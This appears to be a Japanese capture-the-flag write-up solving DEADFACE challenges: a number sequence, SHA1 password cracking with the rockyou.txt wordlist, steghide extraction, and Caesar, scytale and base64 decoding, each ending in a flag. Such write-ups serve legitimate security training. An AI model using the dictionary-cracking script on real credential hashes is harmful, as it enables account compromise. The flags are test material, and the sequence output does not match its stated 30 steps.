DEADFACE gatekeeper: You haven't convinced me yet. Start with 666 and build a staircase of 30 steps. Strip out newlines and keep spaces between numbers. Send me all 30 steps and I'll know you're the real deal. 666 667 668 669 670 671 672 673 674 675 676 677 678 679 680 681 682 683 684 685 686 687 688 689 690 691 692 693 694 695 696 697 698 699 700 701 702 703 704 705 706 707 708 709 710 711 712 713 714 715 716 717 718 719 720 721 722 723 724 725 726 727 728 729 730 731 732 733 734 735 736 737 738 739 740 741 742 743 744 745 746 747 748 749 750 751 752 753 754 755 756 757 758 759 760 761 762 763 764 765 766 767 768 769 770 771 772 773 774 775 776 777 778 779 780 781 782 783 784 785 786 787 788 789 790 791 792 793 794 795 796 797 798 799 800 801 802 803 804 805 806 807 808 809 810 811 812 813 814 815 816 817 818 819 820 821 822 823 824 825 826 827 828 829 830 831 832 833 834 835 836 837 838 839 840 841 842 843 844 845 846 847 848 849 850 851 852 853 854 855 856 857 858 859 860 861 862 863 864 865 866 867 868 869 870 871 872 873 874 875 876 877 878 879 880 881 882 883 884 885 886 887 888 889 890 891 892 893 894 895 896 897 898 899 900 901 902 903 904 905 906 907 908 909 910 911 912 913 914 915 916 917 918 919 920 921 922 923 924 925 926 927 928 929 930 931 932 933 934 935 936 937 938 939 940 941 942 943 944 945 946 947 948 949 950 951 952 953 954 955 956 957 958 959 960 961 962 963 964 965 966 967 968 969 970 971 972 973 974 975 976 977 978 979 980 981 982 983 984 985 986 987 988 989 990 991 992 993 994 995 996 997 998 999 1000 1001 1002 1003 1004 1005 1006 1007 1008 1009 1010 1011 1012 1013 1014 1015 1016 1017 1018 1019 1020 1021 1022 1023 1024 1025 1026 1027 1028 1029 1030 1031 1032 1033 1034 1035 1036 1037 1038 1039 1040 1041 1042 1043 1044 1045 1046 1047 1048 1049 1050 1051 1052 1053 1054 1055 1056 1057 1058 1059 1060 1061 1062 1063 1064 1065 1066 1067 1068 1069 1070 1071 1072 1073 1074 1075 1076 1077 1078 1079 1080 1081 1082 1083 1084 1085 1086 1087 1088 1089 1090 1091 1092 1093 1094 1095 1096 1097 1098 1099 1100 1101 1102 1103 1104 1105 1106 1107 1108 1109 1110 1111 1112 1113 1114 1115 1116 1117 1118 1119 1120 1121 1122 1123 1124 1125 1126 1127 1128 1129 1130
flag{plung3_to_the_4by55}
Password Check (Programming 400)
rockyou.txtのパスワードリストでブルートフォースし、sha1がハッシュのリストにあるかをチェックする。
import hashlib with open('rockyou.txt', 'r') as f: words = [word.rstrip() for word in f.readlines()] with open('FL1R0jbn.txt', 'rb') as f: data = f.read() for word in words: h = hashlib.sha1(word).hexdigest() if h in data: print '[+] password =', word print '[+] hash =', h break
実行結果は以下の通り。
[+] password = ncc1701 [+] hash = c2577430d91716490dc5d33c20d901e008b696e7
侵害された数もフラグに含めるので、以下のサイトで"ncc1701"の侵害数を調べる。
https://haveibeenpwned.com/Passwords
flag{55001_ncc1701}
Blasphemy (Steganography 40)
steghideをパスワードなしで実行する。
$ steghide extract -sf witches.jpg Enter passphrase: wrote extracted data to "secret.txt.o". $ cat secret.txt.o flag{950634ccc97ca3ef03e22c759a356973}
flag{950634ccc97ca3ef03e22c759a356973}
Hail Caesar! (Cryptography 10)
シーザー暗号。https://www.geocachingtoolbox.com/index.php?lang=en&page=caesarCipherで復号する。
Rotation 18: BOO SCARED YOU
BOO SCARED YOU
Down the Wrong Path (Cryptography 10)
添付の写真にはこう書いてある。
RMTLOBBTERSUXT EBOLOOOHWGORTA METSKIUETEFNAC EREPYATNATOETK
スキュタレー暗号。https://www.dcode.fr/scytale-cipherで復号する。
(4) REMEMBERTOTELLSPOOKYBOIABOUTTHENEWTARGETSOFOURNEXTATTACK
英文になるようスペースを入れる。
REMEMBER TO TELL SPOOKYBOI ABOUT THE NEW TARGET SO FOUR NEXT ATTACK
メッセージの相手を答えればよい。
SPOOKYBOI
Cover Your Bases (Cryptography 30)
base64デコードする。
$ echo ZmxhZ3tzaG91bGRhX21hZGVfdGhpc19vbmVfaGFyZGVyfQ== | base64 -d flag{shoulda_made_this_one_harder}
flag{shoulda_made_this_one_harder}
Bone to Pick (Cryptography 80)
url safe base64になっているので、置換して、"="をパディング後にbase64デコードする。
with open('xL04idu2.txt', 'r') as f: data = f.read() data = data.replace('_', '/').replace('-', '+') while True: if len(data) % 4 == 0: break else: data += '=' with open('flag.jpg', 'wb') as f: f.write(data.decode('base64'))
デコードするとjpg画像になり、フラグが書いてあった。
flag{angrybones}
